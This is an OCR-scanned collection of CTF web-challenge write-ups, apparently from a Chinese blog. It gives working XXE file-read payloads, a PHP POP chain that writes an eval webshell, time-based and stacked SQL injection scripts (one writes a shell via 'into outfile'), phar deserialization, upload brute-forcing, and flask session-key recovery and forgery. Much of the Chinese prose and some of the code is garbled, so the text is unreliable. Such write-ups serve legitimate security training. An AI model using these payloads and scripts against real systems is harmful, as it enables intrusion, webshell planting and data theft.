<users>

<user>

<username>bob</username>

<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xiaolong;</intro>
</user>
</users>

HiELEMMT, TERLSEL—T, Elu-16

iconv -f utf-8 -t utf-16 1.xml > 2.xml

b5 e
EPNG. e v IHDR




Successfully uploaded user profiles.

Home User Upload About

Upload new users to the system

You can check out the format example here

[ | s

Name: Bob

Email: bob@fakesite.com

Group: CSAW2019

Intro: flag{921b67c5-eff9-4¢15-9827-68b901df4223}

e =
( | @xlaolongllsss

_olJ] ALLD05

e, RARIMExe, EHEAKRDm, ZBERAMENT2E <intro></intro> 1585, FELHARI <Flag>
</flag> BT, WA

[BSidesCF 2019]SVGMagic

Retisvg¥e Apng, BE— TFsvgfaig
BT ERAsvgxmB fF, % REERxxeT
ANidpayloadRIERA LG, T FEREREFW

<?xml version="1.0" encoding="UTF-8"?>
< IDOCTYPE svg[
<!ENTITY xiaolong SYSTEM "file:///etc/passwd" >

1>
<svg height="100" width="1000">

<text x="10" y="20">&xiaolong;</text>
</svg>

RILATLLEER] /etc/passwd , {HfagA7EMR B R, ELETEHF, M /proc/self/cwd/
NEFIANFFNR: /proc/self/cwd/ R JETH

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg[
<IENTITY xiaolong SYSTEM "“file:///proc/self/cwd/flag.txt" >
1>
<svg height="100" width="1000">
<text x="10" y="20">&xiaolong;</text>

</svg>

XA Eflag T



[EIS 2019]EzPOP

<?php
error_reporting(0);

class A {
protected $store;
protected $key;
protected $expire;
public function _ construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;

$this->store = $store;
$this->expire = $expire;

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', ‘'extension', 'filename’,
'size', 'mimetype', 'visibility', ‘'timestamp', 'type’,

1)

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect key($object, $cachedProperties);

return $contents;
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
public function _ destruct() {

if (!$this->autosave) {
$this->save();

class B {

protected function getExpireTime($expire): int {
return (int) $expire;




public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;

$serialize = $this->options['serialize'];
return $serialize($data);
public function set($name, $value, $expire = null):

$this->writeTimes++;
if (is_null($expire)) {

$expire = $this->options['expire'];
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {

try {

mkdir($dir, @755, true);

} catch (\Exception $e) {
// BIERE

$data = $this->serialize($value);

bool{

if ($this->options['data_compress'] && function exists('gzcompress')) {

/ /B 4
$data = gzcompress($data, 3);

$data = "<?php\n//" . sprintf('%012d', $expire)
$result = file put contents($filename, $data);
if ($result) {

return true;

return false;

if (isset($_GET['src']))
{

highlight_file(__ FILE_ );

$dir = "uploads/";

. "\n exit();?>\n" . $data;




if (lis_dir($dir))
{

mkdir($dir);

)
unserialize($_GET["data"]);

BIABERBFA S, BEEREKRBIIRE, AR5 EHE
BRAHERF M file_put_contents 5L

<

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

$result = file put_contents($filename, $data);

$filename SR HAKF ] $key , A%

$data KREAFEFH] $this->complete , WRATIEH]

BEEERKEANWE

MREEERSDKIE, SPHELATTER exit() » FBRERITRAIGARE, XA R ZER B pM K SCE T R —Kphp:/filterf 1
H

T Bk, FAIFIA php://filter/write=convert.base64-decode , 15 Abase64Zmid )5 HKIARES, SRJE MY, XAERTHE A H
PRI RELAD, T T R IRA IR S AR

AR EAF & baseB4 I F/F R php//exit , BULFENIM E3ANFERF, EHIEEMID, A5 JEH KA.

FrLA $data FIEHE T

22aPD9waHAgQGV2YWwoJIF9QT1INUWydjbWQnXSk7Pz4=

//<?php @eval($_POST['cmd']); ?>base64ln% 5 APDOwaHAgQGY2YWwoIF9QTINUWydjbWQnXSk7Pz4=

fE3RBldatalif 43T serializeifi#t , M serialize JEF serialize

$serialize = $this->options['serialize'];

return $serialize($data);

$this->options['serialize'] ZRJ#EH, FrLARRAIAT LA $data Fibase64—iIk, RJGAT base64 _decode($data) IXFEHI R
B, S HADIT $data HIME B4 B2 ) 2R
expil T


https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2

protected $store;

protected $key;

protected $expire;

public function __ construct(){

$this->complete = base64 encode('aaaPD9waHAgQGV2YWwoIF9QT1NUWydjbWQnXSk7Pz4=");
$this->cache = array();

$this->store = new B();

$this->key = 'shell.php';
$this->expire = 0;

$this->autosave = false;

class B{
public $options = array();

public function _ construct(){
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=";
$this->options['serialize'] = 'base64_decode';
$this->options[ 'data_compress'] = false;

$a = new A();
echo urlencode(serialize($a));

[SWPU2019]Web4

2 [PDOF HIsqliEN]4]
FH A GHE AN AL BB AT HEBVEN

POST /index php?r=Login/Login HTTP/1.1 A HTTP/1.1 200 OK A
Host: 26Bec2bf-319d-4c21-b7b9-3983db26800d . noded buuoj.cn:8l " Server: openresty 1
User-Agent: Maozilla/5.0 (Windows MNT 10.0; Winsd; x64; n:96.0) Gecko,/20100101 Date Wed, 00 Feb 2022 07:3830 GMT
Firefox/96.0 Content-Type: text/html; charset=UTF-8
Accept: # Connection: close
Accept-Language: zh-Ch.zh:q=08=zh-TW.q=07.zh-HK.q=05.en-U5:q=03.en;q=0.2 X-Powered-By: PHP/5.640
Content-Type: application/json Content-Length: 51
Content-Length: 114
Crigin: http://2682c2kf-319d-4c21-b7b9-3983db26800d noded buugj.cni:gl {"code™"202","info""error username or password."]
Connection: close
Referer:
http://268ec2bf-319d-4c21-b79-3983db26800d.noded buugj.cn:Bl/indec php?r=Login
/Index
{"username""adrmin’;set @a=0x73656C65637420736C65657028352% prepare b from
@a;execute b-- " "password":"admin 888"
= =
v ¥
w CJ u u Type a search term 0 matches [LJ [ij u u Type a search term \0 matches
Done 231 bytes | 5,047 millis




hex(‘select sleep(5)’) = 0x73656C65637420736C656570283529
BEEHARTH R EE

import requests
import time

import json

def main():
url = "http://268ec2bf-319d-4c21-b7b9-3983db26800d.node4.buuoj.cn:81/index.php?r=Login/Index"’
payloads = "admin';set @a=0x{0};prepare b from @a;execute b-- "
flag = "'
for i in range(1,50):
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
datas = {
'username’ :payloads.format(str_to_hex(payload.format(i,j))),
'password’: 'admin888"
}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(str):
return ''.join([hex(ord(c)).replace('ox', '') for c in str])
if name_ == ' _ main__ ':
main()
# payload = "select if(ascii(substr((select flag from flag),1,1))=102,sleep(3),1)"
# print(str_to_hex(payload))

At EAbuu BEE, NI L4297, RALEER glzjin_wants_a_girl friend.zip
TETFRE T
Zfmve

fun.php

// e Bk A BE
if(!empty($_REQUEST['r']))

{

$r = explode('/', $ REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";

$action = "action{$action}";

B GETHI HI A A ?r=Login/index, iXB RS 5 2 1E K LoginControllerdt factionindex’s ¥

B4 F) H rfEBaseController.php




public function loadView($viewName ='"', $viewData = [])

{
$this->viewPath = BASE _PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{

extract($viewData);

include $this->viewPath;

}
¥

ERRBEBZIHITHEE
TEUserController.phpH fjactionindexm] %

public function actionIndex()

{
$listData = $ REQUEST;
$this->loadView( 'userIndex',$listData);

¥ & userindexii &

<div class="col-sm-4">
<h2>%TF3</h2>
<h5>#mMAEH :</h5>
<div class="fakeimg">
( |

= dirname (
= imgToBaseb4 (

CSDN @xiaolong22333

img_file WJ#%, AR/...Mlag.phpBiH]
payloadili

?r=User/index&img_file=/../flag.php

B EJREbaseb4 /R % Bl 7]

[ 5 4% 2020 2 ¢ 3§ ] AliceWebsite

= (isset($ GET['action']) ? $ GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";




[SUCTF 2018]MultiSQL

FMiEEERER
PR [SWPU2019]Web4F —EE&, MR 163 INHES TN N2

def str_to_hex(str):
return ''.join([hex(ord(c)).replace('ox', '') for c in str])

str = "select '<?php eval($_POST[1]);?>"' into outfile '/var/www/html/favicon/shell.php';"
print(str_to_hex(str))

XEREFEENRE, HEeEEfaviconH 3k

?id=1;set/**/@a=0x73656c65637420273c31706870206576616c28245f504153545b315d293b313e2720696e74612061757466696C6520

2721766172217777772168746d6c2166617669636F6e2f7368656Cc6Cc2e706870273b;prepare/**/b/**/from/**/@a;execute/**/b%23

WY &1 % e Fflag

[GXYCTF2019]BabysqliV3.0

1B 18 Fladmin® 5 A password
% i J5 AT RADR B LS ST A

?file=php://filter/read=convert.base64-encode/resource=home

home.php



"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($ SESSION[ 'user'])){
if(isset($ GET['file'])){
if(preg _match("/.?f.?1.?a.?g.?/i", $ GET['file'])){
die("hacker!");
¥
else{
if(preg_match("/home$/i", $ GET['file']) or preg_match("/upload$/i", $ GET['file'])){
$file = $ GET['file'].".php";
b
else{
$file = $ GET['file'].".fxxkyou!";
by
echo "H4ET5| KR ".$file;

require $file;

b
else{

die("no permission!");

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<form action=""

Bttt

<input type="file" name="file" />

method="post" enctype="multipart/form-data">

<input type="submit" name="submit" value="_Rf&" />

error_reporting(9);
class Uploader{
public $Filename;
public $cmd;
public $token;

function _ construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION[ 'user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $ GET[ 'name'];
}
else{
$this->Filename = $sandbox.$ SESSION[ 'user'].$ext;

}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $ SESSION[ 'user'];




function upload($file){
global $sandbox;
global $ext;

if(preg_match("[~a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big ('V 7)');";
}

else{
$this->cmd "move_uploaded file('".$file['tmp _name'].""', '" . $this->Filename . "');";

function _ toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;

return $this->Filename;

function _ destruct(){
if($this->token != $ SESSION[ 'user']){
$this->cmd = "die('check token falied!');";
¥
eval($this->cmd);

¥

¥

if(isset($_FILES['file'])) {

$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "FHREREAEKSTH: <br>".$uploader."<br>";
echo file_get contents($uploader);

ERRERMM __destruct i eval , HEHRFIINRBANERFHIL, NiZeEEEphark 75k

Filename [ #%, tokenBE{EENCHMAIE T, HILA LUEREmLSHIAT
#I4E pharsz 44




<?php

class Uploader{
public $Filename;
public $cmd;
public $token;

by
$p = new Uploader();

$p->cmd = "highlight file('/var/www/html/flag.php');";
$p->Filename = 'test';

$p->token = 'GXYbaceel4c956a2f5d5aa9722a57bd23f8";

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php _ HALT COMPILER();?>");
$phar->setMetadata($p);
$phar->addFromString("test.txt", "test123");
$phar->stopBuffering();

?>

FAEpharsc 4453

/var/www/html/uploads/49794142c2887111b2eldfaa8f173102/GXYbaceeld4c956a2f5d5aa9722a57bd23f8. txt

BAEREME EE—ANXH, nameSH
N phar:///var/www/html/uploads/49794142c2887111b2eldfaa8f173102/GXYbaceel4c956a2f5d5aa9722a57bd23F8. txt

& C ® A FZ=%2 | 49deb9c8-calf-4e70-a278-488aa08b785c.noded.buucj.cn:81/home. php?file=upload&name=phar///var/... L

() BHEEHE ( - )0 % BE—, (FEEHE [ BugkuCTF-&£3F& & ctfshow AcFurdBEINAIN -.. ] xiaolong'sblog B ESTE-BugkuC.. G

L5155 BE upload.php
AT | st | st i
<Iphp
$flag = “flag{c187011b-ceT4-40ce-bebl-B86eB00f2df52] 7:
7
CSDN @xiaolong22333
ETRIAR

BT, BT LE#ME —A)iE, B Eokinameitiflag.php, 7T LAE#RE

[Black Watch A #f & ]Web

ERRBINE, ZIAT AR /REE

?id=0"(if(ascii(substr(database(),1,1))=110,1,0))

B 9buuEfE 2420 R, AEMAKR T, FW bwp, HH#GEEMBAag

[SUCTF 2018]Jannonymous



<?php
$MY = create_ function("","die( cat flag.php );");
$hash = bin2hex(openssl random_pseudo bytes(32));
eval("function SUCTF_$hash(){"

."global \$my;"

CU\SMY () 5"

T
if(isset($_GET['func_name'])){
$ GET["func_name"]();

die();
b

show_source(__ FILE );

create_function BB R R, WRESR, HELREAFW, RELN: %eolambda_%d, %d NFFELEMEHIEEL, Frblia] L@
TSRV 19 % B 4 pR 3

import requests

for i in range(1,1000):
r=requests.get(url="http://7d7feb90-e0f0-4a94-951b-bcbe@3cc49de.node3.buuoj.cn/?func_name=%00lambda_{}'.form
at(i))
print(r.status_code)
if 'flag' in r.text:
print(r.text)
break

B th ] DA KB HE SR R 8 i Pre-fork 8 X5 31
Apache /B BT IZAE, XAFX B %dRIF A1, BT 7

Apache-preforkiF & (2RISR ) 72 82 5218 R J5 S i kb 2, 1 ScApache & BRNAE 51 child server 22 SE45 F P i 8, BRIAE & AT 4E 2561
child server, iX i {405 FH P oKk EiER, Apachemh & 7E4b# 5eMaxRequestsPerChild/iMepi&E 2 JE kil X AN 3EE, T B — AN Fr sh R AL 3% R (X
LRI N BB B T BRI I0, B N0 A K ARKIllRE FHEFE X R Bt Toi:kill i | H i FEfork gt A2 1) 781X A B TH BB 44 IR B & = M1 TR 36
g

import requests
while True:
r=requests.get('http://dade87c2-f146-4530-8bec-a59fd655f635.node4.buuoj.cn:81//?func_name=%00lambda_1")
if 'flag' in r.text:
print(r.text)
break
print('Testing

October 2019 Twice SQL Injection

ZIREAN
—JFIRLIATEInfosl, B Asqlfa fE A AR BURIE R —EN, (EHESSRAEFEMAEH 42X BEAN

xiaolong' union select flag from flag#

Bt J5 7E E A LB AT E Blflag
F5 W 5 ¥ B 1% f& select content from user where username=xxx , PKAEA XTEUH FusernameiiiTid g, &L T ZIRIEA



[RoarCTF 2019]Simple Upload

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE );
by
public function upload()

{
$uploadFile = $ FILES['file'] ;

if (strstr(strtolower($uploadFile[‘'name']), ".php") ) {
return false;

$upload = new \Think\Upload();// SEfift fE
$upload->maxSize = 4096 ;// BWEMRM LKA
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// WEMMH 4L
$upload->rootPath = './Public/Uploads/';// BEMMH L1£H%
$upload->savePath = '';// WEMMH L&A FHEHSR
$info = $upload->upload() ;
if(!$info) {// LAEHRRRERER
$this->error($upload->getError());
return;
Yelse{// bA&ERHI) FRELEAE MG R
$url = _ ROOT__ .substr($upload->rootPath,1).$info['file']['savepath'].$info[ 'file'][ " 'savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));

ER IS AR, PRBERBIEM

B % NOLE /index. php/home/index/upload , ANHIEE 4 RK

fEtpHupload() RBAESK A Z 0 B, BA $_FILES AKX E S EAERTF

TR B+ RERH T $_FILES[file] ¥ 42 /E4R, R4 H $§ FILES[file] b4&/5 A, Bk b&L CHEAT LASE php E4 IR
o

B2 AR php S RIE L RSO, BRI 7R E R S 4

Titp IR AR B uNiqidRAE S, uniqid ek B T DD T 4 BT BT 18], AR i—ANPE— ) ID



echo unigid()."\n";
echo uniqid()."\n";
echo uniqid()."\n";

B = LEinrEli= #2355

PS D:\phpstudy pro\WWW> php

62041th37727a9

62041h377283c

62041th37728b5

PS D:\phpstudy pro\WWW> [] CSDN @xiaolong22333

W UEWREERE, RERE=ZMAR

B e R R _E AR ERphp SO, it b A% JE B SCIE 4% BRphp I SCE A2 R R HRIE . BATR {EMEBup ., P php X4
JEEAL AR R AL , BREESE HphpI X4

import requests
import time

url = "http://8b4f371b-cc6e-479c-8496-1fb3034501b02.nodes.buuoj.cn:81/index.php/home/index/upload"’
filel = {'file':open('D:\\1.txt','r"')}

file2 = {'file[]':open('D:\\shell.php','r"')}

r=requests.post(url,files=filel)

print(r.text)

r=requests.post(url,files=file2)

r=requests.post(url,files=filel)
print(r.text)

dir="abcdefghijklmnopgrstuvwxyz0123456789"
for i in dir:
for j in dir:
for x in dir:
for y in dir:
for z in dir:
url="http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/62
P4Affe9{H{}H{}H}{}.php'.format(i,j,x,y,z)
r = requests.get(url)
# print(url)
if r.status_code 429:
time.sleep(O.
print(429)
if r.status_code
print(url)

break




B M7
FEtprh Xt AR SOIF 4 oAb 2

-=>dealFiles |
=
=|strip_ tags|

—_—t-
1)) {
111

CSDN @xiaolong22333

A strip_tags %, (strip_tags() RER ZF/FE FH HTML. XML BLK PHP #4545
K A& SO 44 4 shell. <>php BRI &85

import requests

url = "http://8b4f371b-cc6e-479c-8496-1b3034501b02.nodes.buuoj.cn:81/index.php/home/index/upload"’
files={"'file':("'shell.<>php',"<?php eval($ GET['cmd'])?>")}

r=requests.post(url=url,files=files)

print(r.text)

[DDCTF 2019]homebrew event loop

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__ )
app'secr\et_key = " oskoskoskoskok ok okokoskosk ok sk sk k sk kokkkk sk ! H# CenSOr‘ed

url_prefix = '/d5afelf66147e857"'

def FLAG():
peturn 'EREFERkkkkkkkkkxkkkkkkxk%x'  # cansored

def trigger_event(event):

session['log'].append(event)

if len(session['log']) > 5:
session['log'] = session['log'][-5:]

if type(event) == type([]):
request.event_queue += event

else:
request.event_queue.append(event)

get _mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException:
pass




def execute_event loop():
valid _event chars = set(
'abcdefghijklmnopgrstuvwxyzABCDEFGHIIKLMNOPQRSTUVIWXYZ 0123456789: ;#")
resp = None
while len(request.event queue) > 0O:
# “event  is something like "action:ACTION;ARGSO#ARGS1#ARGS2
event = request.event_queue[@]
request.event_queue = request.event_queue[l:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if ¢ not in valid _event_chars:
break
else:

is_action = event[@] == 'a
action = get_mid_str(event, ':', ';")
args = get_mid_str(event, action+';').split('#")
try:
event_handler = eval(
action + ('_handler' if is_action else ' function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = "'
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session[ 'num_items'] = request.prev_session[ 'num_items']
session[ 'points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = "'
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True

return resp

@app.route(url prefix+'/")

def entry_point():
querystring = urllib.unquote(request.query string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session[ 'num_items'] = ©
session[ 'points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger event(querystring)




def view_handler(args):
page = args[9]
html =
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(

session[ 'num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool show_source == 'True':

source = open('eventLoop.py', 'r')

html = *'

if bool_download_source != ‘True':
html += '<a href="./?action:index;True%23True"”>Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != ‘True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;"').replace('>"', '&gt;"').replace('\n', '<br />")
else:
html += line
source.close()

if bool download_source == ‘True':
headers = {}
headers[ 'Content-Type'] = 'text/plain’
headers[ 'Content-Disposition’] = 'attachment; filename=serve.py'
return Response(html, headers=headers)

else:
return html

else:
trigger_event('action:view;index")

buy handler(args):
num_items = int(args[0])
if num_items <= O:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session[ 'num_items'] += num_items
trigger event(['func:consume_point;{}"'.format(

num items), 'action:view;index'




def consume_point_ function(args):
point to consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()

session[ 'points'] -= point_to_consume

show_flag function(args):

flag = args[0]

# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so
disabled it.

return 'You naughty boy! ;) <br />'

get_flag handler(args):

if session['num_items'] >= 5:
# show_flag function has been disabled, no worries
trigger_event('func:show_flag;"' + FLAG())

trigger_event('action:view;index")

if __name__ == '_ _main__"':

app.run(debug=False, host='90.0.0.0")

RAG T, BIEH R

def get flag handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;"' + FLAG())

trigger_event('action:view;index")

REFANA, Hire&ETiflag
TE K45 A A7 12 B IR

def buy handler(args):
num_items = int(args[0])
if num_items <= O:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session[ ‘num_items'] += num_items
trigger_event(['func:consume_point;{}"'.format(
num_items), 'action:view;index'])

ANEFEABRE, Tk
REX R B2 trigger_event

def trigger_event(event):

session['log'].append(event)

if len(session['log']) > 5:
session['log'] = session['log'][-5:]

if type(event) == type([]):
request.event_queue += event

else:
request.event_queue.append(event)




1 F 245 bR BUR Bl 45 B A7 i fEsessiond, Wt 2RISR IAH T show_flag , I Aflagift&tEsessiond, [FIHLILLER B FRut 24

IpEAR show_flag
1E execute_event_loop A eval

"

is action = event[®] == 'a
action = get mid str(event, ':
args = get mid str(event, action+';").split('#")
try:

event handler = eval(

giny

action + (' handler’ if is action else ' function'))

ret val = event handler(args)
except RollBackException:
it resp :

KU T get_mid_str

def get _mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

XA B B b e X DU AR
WK —TF

def get _mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

def trigger_event():pass

event = 'action:trigger_event#;action:buy;5#action:get_flag;'
is_action = event[@] == 'a'

= get_mid_str(event, ': 5

'"[!] action:',action)

= get_mid_str(event, action+';"').split('#")

print('[!] args:',args)
event_handler = eval(action + ('_handler' if is_action else ' function'))
print('[!] event_handler:',event_handler)

PS D:\work> python

[!] action: trigger event#

[!] args: ["action:buy;5", "action:get flag;"]

[!] event handler: <function trigger event at ex©000022134D3D1F6>
PS D:\work> ||

& s payload it 2&

action:trigger event%23;action:buy;5%23action:get flag;

CSDN @xiaolong22333




Horb# BN THEBERE _handler
B trigger_event KiH: T R K B R [FI{E 5 Asession, #RJ5 action:buy;5 E5MA, FHiAA get_flag_handler , BLAT

BABENS, RIEEfag

4 .
5 Flsession
& C @ A 72 | 21e7daad-c59d-4f2b-85a5-4c42ea506572.noded buuoj.cn:81/d5afe 11661476857 2actiontrigger_event%23actionbuy... v € @ B T O 1= e
() BHEEE (- )0 % EET, FEEE () BugkuCTF-£3F& £ ctishow ACFUnBEEEM - §i xiaolong'sblog B EATE-BugkuC.. @ CTREETECTFL. e BUUCTF BT S | READFL... > | ) EfegEsE
ERROR! All transactions have been cancelled. G 7 TE sme cSEAL FRB wERs @ mE x p10 &3 & - X
Go back to index.html o ® @ = O megE: Oz@Es 788 v & T 4 3
a - (|C @ mEE O x# O FemusuE URL
28F | Fetch/XHR JS CSS Img A =k RS WS Wasm &2 =fe (O BSEIECookie () BSHIEER
O g=rmis%
O ERAEFRS O s
SRR O mRmEsE
| 20 = 40 60 80 ZFp 100 TR 120 B 40 E 160 E# i
B X iRk Paylbad TS MW B#EEF i Cookie

?action:t t%23;acti...
D) actionrioger svertiziacti. , wg

v @RSk WMESSHT
HTTP/1.1 200 OK
Server: openresty

Date: Sun, 13 Feb 2022 ©5:59:45 GMT

Content-Type: text/html; charset-utf-8
Content-Length: 113

Connection: keep-alive

Set-Cookie: session=.elyNjt9rgzAcxP-Vkec-xGSdKPiyFYWyRuz8kXzHGEa7VintSQa
1rSv_3ymCDOT3s7DuPndn1By2yH890zulXCQyhvPMGUKIPUVZqYEVPABDI3VURBSvy6ASY
rqtSr632QubCbpulbl_AJJiTqATWHG]y -wGpSbilJubsybpxyqb@HSUDX4e j56HL 208bdDol
©9aSZE27WQ2n 8c8m-PQINAFIAGESMKeEnvE2y_SbSDIA4d -vwT1uQPaYUYSykuyriqrYkG
anuPoINSqD-OTwhPGAUKMs TBKmI TuwSz_DSMIqPeq36g0uXi62k01-8nSyxVaQ3Vs. Ygiel
Q- JtHhbZGNockmWT7aTM7@ovFIAgc; HitpOnly; Path=/

Vary: Cookie

v ERRL =57
Accept: text/html,application/xhtmlsxml,application/xml;q=0.9,image/web

9.9

i

p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
CSDN @

Accept-Encoding: gzip, deflate aolong

wE—F

python' 11
eDuPndn1B

{" b
WOuOnZpZXc7
"2 "YWNO




base64ff %

InVuYzpzaG93X2ZsYWe TZmxhZ3s0NZU3NzUwWMi1iNGVmLTQy YmMtOTQ3ZCO00DYWZDZiYzeZNzNG

o AT

YB3 base64 FRE utfs(unicodefFED)

funec:show flag;flag{47e77502-bdef-42bc-947d-4860d6bcT673}

[CISCN2019 4 % 7 3£ [X ]Web4

2ik/etc/passwd & B AT BAIEEX
BEBE LU ERNIITH 4L /proc/self/cmdline
KB /usr/local/bin/python/app/app.py » BZHX /app/app/py



# encoding:utf-8
import re, random, uuid, urllib

from flask import Flask, session, request

app = Flask(__name_ )
random.seed(uuid.getnode())

app.config[ 'SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/")
def index():

session[ 'username'] = 'www-data'

return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read")

= request.args.get('url')
re.findall('~file.*', url, re.IGNORECASE)
re.findall('flag', url, re.IGNORECASE)

if m or n:
return 'No Hack'

res = urllib.urlopen(url)

return res.read()

except Exception as ex:
print str(ex)

return 'no response’

@app.route('/flag"')
def flag():
if session and session['username'] == 'fuck':

return open('/flag.txt').read()
else:

return 'Access denied’

debug=True,
host="0.0.0.0"

RIMRIFEMRE, BRLEiEsession
1 it session s ELAN1E SECRET_KEY , BB EEFE /proc/self/environ

08c7f548-2aec-4271-b72f-c63cabfa31ad.noded buuoj.cr Lo

() BAERAE (- ). G EE—T, 4UNE () BugkuCTF-£3%a & cfshow [ AcFuniBELEM -.. [ iaolo og W E#TE-BugkuC. @ CTl

LANG=C.UTF-8SHELL=/bin/ashSHLVL=1WERKZEUG_RUN_MAIN=trueCHARSET=UTF-

TG
74T 2 | READFL..,

8PWD=/appWERKZEUG_SERVER _FD=3LOGNAME=glzjinUSER=glzjinHOME=/appPATH=/usr/local/shin:/usr/local/bin:/ust/sbin:/ust/bin:/sbin:/binPS1=\h:\w\$ PAGER=less

HEH, BRBEECERK
H EfRFY, SECRET KEY AR FRCELUWT




random.seed(uuid.getnode())

app.config[ 'SECRET_KEY'] = str(random.random()*233)

random. random() A RHIZLHFENLEL, FhF N uuid.getnode() , &M macHhhk i3k %

BEEX—F /sys/class/net/ethe/address

5a:f5:ed:05:63:ea

HE R SECRET_KEY , FRIXEHFAYIA, Epython2izfT, FERN2M3/MNUSFHEAMEAR, & HE Zpython2

import random

random. seed(@x5af5ed@563ea)
print(random.random()*233)

SR G R % session

E R CTF\flask-session-cookie-manager>python flas
YiI6ImQzZDNMV1JoZEAFPSI9HQ.YgisRw. dklyv5K2b-zhimeStKOIQh3
b'{"username":{" b":"d3d3LWRhdGE="}}"

BiE# T, HXEENESH Y
% R M sessionKiX#E, £33 T base64 %, B UMRIIINERERWIXEE, [HBELEMZE MR A{ username’:‘fuck’}, & f&j &
B, ¥ Hbasebd, BHHAMTFR

python flask session_cookie_manager3.py encode -s 182.139630027 -t "{'username':'fuck'}"

ZHJCTF\flask-session-cookie-manager>python flask sess
username’: 'fuck®}"
ey11c2VybmFtZSI6ImZ1Y2sif0.Ygifnw. bAtqORSe1cQCX113A88Ds6kAHEY

i #esession, Vijil/flag

_ 1 | | | _ 1

GET /flag HTTP/1.1 A HTTP/1.1 200 OK

Host: 08cT7f548-2aec-427 1-b7 2f-c63cabfa3 lad noded buuoj.cn:Bl 1 Server: openresty

User-Agent: Wozilla/5.0 (Mindows NT 10.0; Winsd; 64 re97.0) Gecko/ 20100101 Firefox/97.0 Date: Sun. 13 Feb 2022 07:35:05 GMT
